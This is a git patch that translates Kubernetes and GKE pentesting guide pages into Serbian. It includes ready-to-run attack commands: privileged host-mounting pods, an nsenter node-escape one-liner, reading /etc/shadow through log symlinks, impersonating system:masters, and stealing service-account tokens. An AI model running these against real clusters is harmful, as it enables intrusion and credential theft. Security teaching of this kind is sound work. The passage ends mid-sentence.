From e14095a54d86e9f79d22fd153f802fe05513aadf Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jul 2026 22:57:27 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-services/gcp-cont --- .../gcp-containers-gke-and-composer-enum.md | 56 ++-- .../README.md | 278 +++++++++--------- .../exposing-services-in-kubernetes.md | 131 ++++++--- .../kubernetes-enumeration.md | 265 ++++++++++------- .../kubernetes-securitycontext-s.md | 93 +++--- .../kubernetes-network-attacks.md | 85 +++--- .../kubernetes-pivoting-to-clouds.md | 163 ++++++---- ...bernetes-role-based-access-control-rbac.md | 64 ++-- ...bernetes-validatingwebhookconfiguration.md | 113 ++++--- .../pentesting-kubernetes-services/README.md | 87 ++++-- 10 files changed, 809 insertions(+), 526 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index 81c6d962d..305a9948a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -1,10 +1,10 @@ -# GCP - Kontejneri i GKE Enum +# GCP - Containers & GKE Enum {{#include ../../../banners/hacktricks-training.md}} -## Kontejneri +## Containers -U GCP kontejnerima možete pronaći većinu usluga zasnovanih na kontejnerima koje GCP nudi, ovde možete videti kako da enumerišete najčešće: +U GCP containers možete pronaći većinu container-based servisa koje GCP nudi, ovde možete videti kako da enumerišete najčešće: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -24,7 +24,7 @@ sudo docker pull HOSTNAME// ``` ### Privesc -Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole kontejnera za eskalaciju privilegija**: +Na sledećoj stranici možete proveriti kako da **abuse container permissions to escalate privileges**: {{#ref}} ../gcp-privilege-escalation/gcp-container-privesc.md @@ -32,7 +32,7 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole kontejne ## Node Pools -Ovo su bazeni mašina (čvorova) koji čine kubernetes klastere. +Ovo su grupe mašina (nodes) koje formiraju kubernetes klastere. ```bash # Pool of machines used by the cluster gcloud container node-pools list --zone --cluster @@ -40,7 +40,7 @@ gcloud container node-pools describe --cluster --zone --region \ +--format='value(workloadIdentityConfig.workloadPool)' + +kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' +``` +Ako service account ima anotaciju `iam.gke.io/gcp-service-account`, pregledajte IAM policy service account-a za `roles/iam.workloadIdentityUser` grantove ka Kubernetes service account principal-ima. Takođe proverite IAM allow policies za direktne workload identity principal-e ili široke principal set-ove. + +Pristup metadata-ju zavisi od cluster moda, konfiguracije node pool-a i workload podešavanja. Nemojte pretpostaviti da svaki pod može da ukrade node service account. U okruženjima sa Workload Identity, obični podovi bi trebalo da koriste GKE metadata server da dobiju workload identity namenjen njihovom Kubernetes service account-u. Kompromitovanje node-a, `hostNetwork` podovi u nekim Standard konfiguracijama i legacy izlaganje node metadata-ja i dalje mogu da promene blast radius, pa proverite stvarni node pool metadata mode, node service account, OAuth scopes i raspored podova. ### TLS Boostrap Privilege Escalation -U početku je ova tehnika eskalacije privilegija omogućila **privesc unutar GKE klastera**, što je efikasno omogućilo napadaču da **potpuno kompromituje**. +U početku je ova tehnika privilege escalation-a omogućavala **privesc unutar GKE cluster-a**, što je napadaču efektivno omogućavalo da ga **potpuno kompromituje**. -To je zato što GKE pruža [TLS Bootstrap kredencijale](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) u metapodacima, koji su **dostupni svima samo kompromitovanjem poda**. +Razlog je što GKE u metadata-ju obezbeđuje [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), koji su **dostupni bilo kome samo kompromitovanjem poda**. -Tehnika koja se koristi objašnjena je u sledećim postovima: +Tehnika koja se koristi objašnjena je u sledećim objavama: - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/) - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/) - [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) -I ovaj alat je kreiran da automatizuje proces: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) +A ovaj tool je napravljen da automatizuje proces: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -Međutim, tehnika je zloupotrebljavala činjenicu da je **sa metapodacima** bilo moguće **generisati CSR** (Zahtev za potpisivanje sertifikata) za **novi čvor**, koji je bio **automatski odobren**.\ -U mom testu sam proverio da **ti zahtevi više nisu automatski odobreni**, tako da nisam siguran da li je ova tehnika još uvek validna. +Međutim, tehnika je zloupotrebljavala činjenicu da je **uz metadata credentials** bilo moguće **generisati CSR** (Certificate Signing Request) za **novi node**, koji je bio **automatski odobren**.\ +U mom testu sam proverio da **ti zahtevi više nisu automatski odobreni**, tako da nisam siguran da li je ova tehnika i dalje validna. -### Tajne u Kubelet API +### Secrets in Kubelet API -U [**ovom postu**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) otkrivena je Kubelet API adresa dostupna iznutra poda u GKE koja daje detalje o pokrenutim podovima: +U [**ovom postu**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) otkriveno je da postoji Kubelet API address dostupan iz poda u GKE, koji daje detalje o podovima koji se izvršavaju: ``` curl -v -k http://10.124.200.1:10255/pods ``` -Čak i ako API **ne dozvoljava modifikaciju resursa**, može biti moguće pronaći **osetljive informacije** u odgovoru. Endpoint /pods je pronađen korišćenjem [**Kiterunner**](https://github.com/assetnote/kiterunner). +Čak i ako API **ne dozvoljava da se modifikuju resursi**, moguće je pronaći **osetljive informacije** u odgovoru. Endpoint /pods je pronađen pomoću [**Kiterunner**](https://github.com/assetnote/kiterunner). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 2c37e2a89..84f771cfe 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Zloupotreba Roles/ClusterRoles u Kubernetes +# Abusing Roles/ClusterRoles in Kubernetes {{#include ../../../banners/hacktricks-training.md}} -Ovde možete naći neke potencijalno opasne Roles i ClusterRoles konfiguracije.\ +Ovde možete pronaći neke potencijalno opasne konfiguracije Roles i ClusterRoles.\ Zapamtite da možete dobiti sve podržane resurse sa `kubectl api-resources` ## **Privilege Escalation** -Podrazumeva se kao umetnost dobijanja pristupa drugom principal-u unutar clustera sa drugačijim privilegijama (unutar kubernetes clustera ili prema eksternim cloud-ovima) nego one koje već imate, u Kubernetes-u postoje u suštini 4 glavne tehnike za eskalaciju privilegija: +Ovo se odnosi na umetnost dobijanja **pristupa drugom principalu** unutar klastera **sa različitim privilegijama** (unutar kubernetes klastera ili prema eksternim cloud-ovima) od onih koje već imate. U Kubernetes-u, postoje osnovno **4 glavne tehnike za eskalaciju privilegija**: -- Biti u mogućnosti da **impersonate** druge user/groups/SAs sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima -- Biti u mogućnosti da **create/patch/exec pods** gde možete **find or attach SAs** sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima -- Biti u mogućnosti da **read secrets** jer su SAs tokens smešteni kao secrets -- Biti u mogućnosti da **escape to the node** iz kontejnera, gde možete ukrasti sve secrets kontejnera koji rade na node-u, kredencijale node-a, i permisije node-a unutar clouda u kome se izvršava (ako ih ima) -- Peta tehnika koja zaslužuje pomen je sposobnost da **run port-forward** u pod-u, jer možete dobiti pristup interesantnim resursima unutar tog poda. +- Biti u mogućnosti da **impersonate** druge user/groups/SAs sa boljim privilegijama unutar kubernetes klastera ili prema eksternim cloud-ovima +- Biti u mogućnosti da **create/patch/exec pods** gde možete **pronaći ili attach SAs** sa boljim privilegijama unutar kubernetes klastera ili prema eksternim cloud-ovima +- Biti u mogućnosti da **read secrets** jer se SA tokeni čuvaju kao secrets +- Biti u mogućnosti da **escape to the node** iz containera, gde možete ukrasti sve secrets containera koji rade na node-u, credentials node-a, i permissions node-a unutar cloud-a u kome radi (ako ga ima) +- Peta tehnika koja zaslužuje pomen je mogućnost da se **run port-forward** u pod-u, jer možete pristupiti zanimljivim resursima unutar tog pod-a. -### Pristup bilo kojem resursu ili verbu (Wildcard) +### Access Any Resource or Verb (Wildcard) -The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse bilo koji namespace u klasteru +**wildcard (\*) daje permission nad bilo kojim resursom sa bilo kojim verbom**. Koristi se od strane admina. Unutar ClusterRole-a ovo znači da napadač može abuse bilo koji namespace u klasteru ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Pristup bilo kojem resursu sa određenim verbom +### Pristup bilo kom Resource sa određenim verb -U RBAC-u, određena dopuštenja predstavljaju značajne rizike: +U RBAC, određene permissions predstavljaju značajan rizik: -1. **`create`:** Omogućava kreiranje bilo kojeg resursa u klasteru, što može dovesti do privilege escalation. -2. **`list`:** Dozvoljava listanje svih resursa, što može potencijalno leaking sensitive data. -3. **`get`:** Dozvoljava pristup secrets iz service accounts, što predstavlja bezbednosnu pretnju. +1. **`create`:** Dodeljuje mogućnost da se kreira bilo koji cluster resource, uz rizik od privilege escalation. +2. **`list`:** Omogućava listing svih resources, što može dovesti do leak-a osetljivih podataka. +3. **`get`:** Dopušta pristup secrets iz service accounts, što predstavlja security pretnju. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Napadač koji ima dozvole za kreiranje pod-a može dodeliti privilegovani Service Account podu i ukrasti token kako bi se predstavljao kao taj Service Account, čime efektivno eskalira privilegije. +Napadač sa dozvolama za kreiranje pod-a, mogao bi da prikači privilegovani Service Account u pod i ukrade token da bi se predstavio kao Service Account. Time se efektivno podižu privilegije na njega -Primer poda koji će ukrasti token Service Account-a `bootstrap-signer` i poslati ga napadaču: +Primer pod-a koji će ukrasti token `bootstrap-signer` service account-a i poslati ga napadaču: ```yaml apiVersion: v1 kind: Pod @@ -74,10 +74,12 @@ hostNetwork: true ``` ### Pod Create & Escape -- **Privileged access** (onemogućavanje zaštita i podešavanje capabilities) -- **Disable namespaces hostIPC and hostPid** koje mogu pomoći u eskalaciji privilegija -- **Disable hostNetwork** namespace, što može omogućiti krađu cloud privilegija čvorova (nodes) i bolji pristup mrežama -- **Mount hosts / inside the container** +Sledeće označava sve privilegije koje container može da ima: + +- **Privileged access** (isključivanje zaštita i podešavanje capabilities) +- **Disable namespaces hostIPC and hostPid** koji mogu pomoći u eskalaciji privilegija +- **Disable hostNetwork** namespace, dajući pristup za krađu cloud privilegija node-ova i bolji pristup mrežama +- **Mount hosts / unutar container-a** ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -113,19 +115,19 @@ volumes: hostPath: path: / ``` -Kreirajte pod pomoću: +Kreirajte pod sa: ```bash kubectl --token $token create -f mount_root.yaml ``` -Jednolinijski iz [this tweet](https://twitter.com/mauilion/status/1129468485480751104) i sa nekim dodacima: +Jedna linija iz [this tweet](https://twitter.com/mauilion/status/1129468485480751104) i sa nekim dodacima: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Sada kada možeš da escape-uješ na node, proveri post-exploitation tehnike u: +Now that you can escape to the node check post-exploitation techniques in: #### Stealth -Verovatno želiš da budeš **diskretniji**; na narednim stranicama možeš videti šta bi mogao da pristupiš ako kreiraš pod uključujući samo neke od dole pomenutih privilegija iz prethodnog šablona: +Verovatno želite da budete **stealthier**, na sledećim stranicama možete videti čemu biste mogli da pristupite ako kreirate pod koji omogućava samo neke od pomenutih privilegija iz prethodnog template-a: - **Privileged + hostPID** - **Privileged only** @@ -136,12 +138,12 @@ Verovatno želiš da budeš **diskretniji**; na narednim stranicama možeš vide _You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Kreiranje pod-a - prelazak u cloud +### Pod Create - Move to cloud -Ako možeš da **kreiraš** a **pod** (i opciono a **service account**) možda ćeš moći da **dobiješ privilegije u cloud okruženju** dodeljivanjem **cloud roles** podu ili **service account**-u i potom mu pristupiš.\ -Pored toga, ako možeš da kreiraš **pod with the host network namespace** možeš da **steal the IAM** role instanci **node**. +Ako možete da **kreirate** **pod** (i opcionalno **service account**) možda ćete moći da **dobijete privilegije u cloud environment-u** tako što ćete **dodeliti cloud role-ove pod-u ili service account-u** i zatim im pristupiti.\ +Takođe, ako možete da kreirate **pod sa host network namespace-om** možete da **ukradete IAM** role **node** instance. -For more information check: +Za više informacija pogledajte: {{#ref}} pod-escape-privileges.md @@ -149,9 +151,9 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -Moguće je zloupotrebiti ove dozvole da **kreiraš novi pod** i uspostaviš privilegije kao u prethodnom primeru. +Moguće je zloupotrebiti ove permissions da biste **kreirali novi pod** i eskalirali privilegije kao u prethodnom primeru. -Sledeći yaml **creates a daemonset and exfiltrates the token of the SA** unutar pod-a: +Sledeći yaml **kreira daemonset i exfiltrates token SA** unutar pod-a: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -187,34 +189,34 @@ volumes: hostPath: path: / ``` -### **Pods Exec** +### **Izvršavanje u podovima** -**`pods/exec`** je resurs u kubernetes koji se koristi za **pokretanje komandi u shell-u unutar poda**. Ovo omogućava da se **pokreću komande unutar containers ili da se dobije shell iznutra**. +**`pods/exec`** je resource u kubernetes koji se koristi za **pokretanje komandi u shell-u unutar poda**. Ovo omogućava da se **pokreću komande unutar kontejnera ili dobije shell unutar**. -Stoga je moguće **ući u pod i ukrasti token SA**, ili ući u privilegiovani pod, pobeći na node, i ukrasti sve tokene podova na node-u i (ab)use the node: +Zato je moguće **ući u pod i ukrasti token od SA**, ili ući u privilegovani pod, pobeći na node, i ukrasti sve tokene podova na node-u i (zlo)upotrebiti node: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Podrazumevano se komanda izvršava u prvom container-u poda. Dobavite **sve kontejnere u podu** sa `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` i zatim **odredite container** u kojem želite da je izvršite pomoću `kubectl exec -it -c -- sh` +> Podrazumevano se komanda izvršava u prvom container-u pod-a. Dobijte **sve pod-ove u container-u** pomoću `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` a zatim **navedite container** gde želite da je izvršite sa `kubectl exec -it -c -- sh` -Ako je to distroless container, možete pokušati da koristite **shell builtins** da dobijete informacije o container-ima ili da otpremite sopstvene alate kao što je **busybox** koristeći: **`kubectl cp :`**. +Ako je to distroless container, možete pokušati da koristite **shell builtins** da biste dobili informacije o container-ima ili da uploadujete sopstvene alate kao što je **busybox** koristeći: **`kubectl cp :`**. ### port-forward -Ovo dopuštenje omogućava da **proslijedite jedan lokalni port na jedan port u specificiranom podu**. Ovo je namenjeno da olakša debug aplikacija koje rade unutar poda, ali napadač to može zloupotrebiti da bi pristupio interesantnim (npr. DBs) ili ranjivim aplikacijama (npr. web serverima?) unutar poda: +Ova permission omogućava da **prosledi jedan lokalni port na jedan port u navedenom pod-u**. Ovo je namenjeno da bi se aplikacije koje rade unutar pod-a lakše debug-ovale, ali napadač to može zloupotrebiti da dobije pristup zanimljivim (kao što su DBs) ili ranjivim aplikacijama (webs?) unutar pod-a: ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -As [**naznačeno u ovom istraživanju**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\ -Ovo je углавном зато што када **Kube-API pokuša da preuzme logove** kontejnera (koristeći `kubectl logs `), он **zahteva `0.log`** fajl poda преко `/logs/` endpoint-a **Kubelet** servisa.\ -Kubelet servis izlaže `/logs/` endpoint који у суштини **izlaže `/var/log` datotečni sistem kontejnera**. +Kao što je [**naznačeno u ovom istraživanju**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), ako možete da pristupite ili kreirate pod sa montiranim **hosts `/var/log/` direktorijumom**, možete **pobeći iz kontejnera**.\ +Ovo je u osnovi zato što, kada **Kube-API pokuša da dobije logove** kontejnera (koristeći `kubectl logs `), on **zahteva `0.log`** fajl poda preko `/logs/` endpointa **Kubelet** servisa.\ +Kubelet servis izlaže `/logs/` endpoint, što je u suštini samo **izlaganje `/var/log` fajl sistema kontejnera**. -Stoga, napadač sa **pristupom za upis u /var/log/ direktorijum** kontejnera може злоупотребити ова понашања на 2 начина: +Zbog toga, napadač sa **pristupom za pisanje u /var/log/ folder** kontejnera može da zloupotrebi ovo ponašanje na 2 načina: -- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing: +- Modifikovanjem `0.log` fajla svog kontejnera (obično lociranog u `/var/logs/pods/namespace_pod_uid/container/0.log`) tako da bude **symlink koji pokazuje na `/etc/shadow`** na primer. Zatim ćete moći da exfiltrujete hosts shadow fajl radeći: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -222,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Ako napadač kontroliše bilo koji principal sa **dozvolama za čitanje `nodes/log`**, može jednostavno napraviti **symlink** u `/host-mounted/var/log/sym` koji pokazuje na `/`, i kada **pristupi `https://:10250/logs/sym/` biće mu prikazan root filesystem hosta** (promenom symlinka može se dobiti pristup fajlovima). +- Ако napadač kontroliše bilo koji principal sa **permissions to read `nodes/log`**, može jednostavno da napravi **symlink** u `/host-mounted/var/log/sym` ka `/` i, kada pristupa `https://:10250/logs/sym/`, dobiće listu root filesystem-a hosta (promena symlink-a može obezbediti pristup fajlovima). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -234,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Laboratorija i automatizovani exploit se mogu naći u** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Laboratorija i automatizovani exploit mogu se naći u** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### Zaobilaženje readOnly zaštite -Ako imate sreće i visoko privilegovana kapabilnost `CAP_SYS_ADMIN` je dostupna, možete jednostavno ponovo montirati folder kao rw: +Ako imate dovoljno sreće i visoko privilegovana capability `CAP_SYS_ADMIN` je dostupna, možete jednostavno ponovo mount-ovati folder kao rw: ```bash mount -o rw,remount /hostlogs/ ``` #### Zaobilaženje hostPath readOnly zaštite -Kao što je navedeno u [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) moguće je zaobići zaštitu: +Kao što je navedeno u [**ovom istraživanju**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), moguće je zaobići zaštitu: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -To je trebalo da spreči escapes poput prethodnih tako što bi, umesto korišćenja hostPath mount-a, koristio PersistentVolume i PersistentVolumeClaim da montira hosts folder u kontejner sa pristupom za pisanje: +Koji je trebalo da spreči bekstva poput prethodnih, tako što umesto korišćenja hostPath mount-a koristi PersistentVolume i PersistentVolumeClaim za mountovanje hosts foldera u container sa upisnim pristupom: ```yaml apiVersion: v1 kind: PersistentVolume @@ -296,16 +298,16 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Impersonacija privilegovanih naloga** +### **Impersoniranje privilegovanih naloga** -Sa privilegijom [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač može da se predstavi kao privilegovani nalog. +Sa privilegijom [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), napadač bi mogao da impersonira privilegovani nalog. -Samo koristite parametar `--as=` u `kubectl` komandi da se predstavite kao korisnik, ili `--as-group=` da se predstavite kao grupa: +Samo koristite parametar `--as=` u `kubectl` komandi da impersonirate korisnika, ili `--as-group=` da impersonirate grupu: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -Ili koristite REST API: +Ili koristi REST API: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -313,16 +315,17 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Nabrajanje secrets +### Listing Secrets -Dozvola za **list secrets može omogućiti napadaču da zapravo pročita secrets** pristupajući REST API endpoint: +Dozvola da se **listaju secrets može omogućiti napadaču da zapravo pročita secrets** pristupom REST API endpoint-u: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` ### Kreiranje i čitanje Secrets -Postoji posebna vrsta Kubernetes secret-a tipa **kubernetes.io/service-account-token** koja čuva serviceaccount tokens. -Ako imate dozvole za kreiranje i čitanje secret-ova, i ako takođe znate ime serviceaccount-a, možete kreirati secret na sledeći način i zatim ukrasti token ciljanog serviceaccount-a iz njega: +Postoji posebna vrsta Kubernetes Secret tipa **kubernetes.io/service-account-token** koja čuva service account tokene. Moderne Kubernetes verzije **ne** kreiraju automatski jedan dugotrajan Secret za svaki ServiceAccount; projected, bound TokenRequest tokeni su normalan put za workload. Međutim, ručno kreirani service account token Secrets su i dalje podržani, a nadograđeni ili legacy clusteri i dalje mogu sadržati dugotrajne token Secrets. Trenutni clusteri takođe mogu označiti neiskorišćene automatski generisane legacy token Secrets kao nevažeće i na kraju ih očistiti, ostavljajući oznake kao što su `kubernetes.io/legacy-token-invalid-since` i `kubernetes.io/legacy-token-last-used`. + +Ako imate dozvole da kreirate i čitate secrets, i takođe znate naziv serviceaccount-a, možete kreirati secret na sledeći način, a zatim iz njega ukrasti token žrtvinog serviceaccount-a: ```yaml apiVersion: v1 kind: Secret @@ -333,7 +336,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -Primer exploitation: +Primer eksploatacije: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -381,17 +384,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Imajte na umu da, ako vam je dozvoljeno da kreirate i čitate secrets u određenom namespace-u, žrtvin serviceaccount takođe mora biti u tom istom namespace-u. +Napomena da ako vam je dozvoljeno da kreirate i čitate secrets u određenom namespace-u, žrtvin serviceaccount takođe mora biti u tom istom namespace-u. -### Čitanje secret-a – brute-forcing token ID-ova -Iako napadaču koji poseduje token sa read permisijama treba tačno ime secreta da bi ga iskoristio, za razliku od šire privilegije _**listing secrets**_, i dalje postoje ranjivosti. Default service accounts u sistemu se mogu enumerisati, svaki je povezan sa jednim secret-om. Ovi secret-i imaju strukturu imena: statični prefiks nakon kojeg sledi nasumični peto-karakterni alfanumerički token (izuzimajući određene karaktere) prema [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +### Reading a secret – brute-forcing token IDs -Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz punog alfanumeričkog opsega. Ova ograničenost smanjuje ukupan broj mogućih kombinacija na 14.348.907 (27^5). Posledično, napadač bi mogao izvesti brute-force napad i za nekoliko sati pogoditi token, što može dovesti do eskalacije privilegija pristupom osetljivim service account-ima. +Iako napadač koji poseduje token sa read dozvolama zahteva tačno ime secreta da bi ga koristio, za razliku od šire privilegije _**listing secrets**_, i dalje postoje ranjivosti. Default service accounts u sistemu mogu da se enumerišu, pri čemu je svaki povezan sa jednim secret-om. Ovi secrets imaju strukturu imena: statički prefiks praćen nasumičnim alfanumeričkim tokenom od pet karaktera (uz izuzimanje određenih karaktera), prema [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -### EncrpytionConfiguration u čistom tekstu +Token se generiše iz ograničenog skupa od 27 karaktera (`bcdfghjklmnpqrstvwxz2456789`), umesto iz celog alfanumeričkog opsega. Ovo ograničenje smanjuje ukupan broj mogućih kombinacija na 14,348,907 (27^5). Posledično, napadač bi mogao izvesti brute-force napad da otkrije token za nekoliko sati, što potencijalno može dovesti do privilege escalation tako što se pristupi osetljivim service accounts. -Moguće je pronaći ključeve u čistom tekstu koji se koriste za enkripciju podataka u mirovanju u ovakvim objektima, npr.: +### EncrpytionConfiguration in clear text + +Moguće je pronaći clear text ključeve za enkripciju podataka at rest u ovom tipu objekta kao: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -448,13 +452,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Zahtevi za potpisivanje sertifikata +### Certificate Signing Requests -Ako imate verb **`create`** na resursu `certificatesigningrequests` (ili bar na `certificatesigningrequests/nodeClient`), možete **kreirati** novi CeSR za **novi čvor**. +Ako imate verbs **`create`** u resource `certificatesigningrequests` ( ili bar u `certificatesigningrequests/nodeClient`). Možete **kreirati** novi CeSR od **novog node**. -Prema [dokumentaciji moguće je automatski odobriti ove zahteve](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), tako da vam u tom slučaju **ne trebaju dodatne dozvole**. Ako to nije omogućeno, moraćete biti u mogućnosti da odobrite zahtev, što podrazumeva update u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `/` ili `/*` +Prema [dokumentaciji moguće je auto approve ovih zahteva](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), pa u tom slučaju **ne trebaju vam dodatne permissions**. Ako ne, morali biste da možete da odobrite zahtev, što znači update u `certificatesigningrequests/approval` i `approve` u `signers` sa resourceName `/` ili `/*` -Primer **role** sa svim potrebnim dozvolama je: +**Primer role** sa svim potrebnim permissions je: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -485,19 +489,19 @@ resourceNames: verbs: - approve ``` -Dakle, kada je nova node CSR odobrena, možete **zloupotrebiti** specijalne dozvole node-ova da **ukradete tajne** i **eskalirate privilegije**. +Dakle, sa novim odobrenim node CSR, možete **abuse** posebne dozvole nodova da **steal secrets** i **escalate privileges**. -In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\ -Ako **imate pomenute privilegije, možete uraditi isto**. Napomena: prvi primer zaobilazi grešku koja sprečava novom node-u da pristupi tajnama unutar containera jer **node može pristupiti samo tajnama containera koji su montirani na njega.** +U [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) GKE K8s TLS Bootstrap konfiguracija je podešena sa **automatic signing** i to se abuse-uje da bi se generisali kredencijali novog K8s Node-a, a zatim se oni abuse-uju za eskalaciju privilegija krađom secrets.\ +Ako **imate pomenute privilegije, možete uraditi isto**. Imajte u vidu da prvi primer zaobilazi grešku koja sprečava novi node da pristupi secrets unutar containera zato što **node može da pristupi samo secrets containera koji su mountovani na njemu.** -Način da se ovo zaobiđe je da se jednostavno **kreiraju kredencijale čvora za node ime na kojem je montiran container sa interesantnim tajnama** (ali pogledajte kako to uraditi u prvom postu): +Način da se ovo zaobiđe je jednostavno da se **naprave node kredencijali za ime node-a na kom je mountovan container sa interesantnim secrets** (ali samo proverite kako se to radi u prvom postu): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -Identiteti koji mogu da modifikuju **`configmaps`** u kube-system namespace-u na EKS (moraju biti 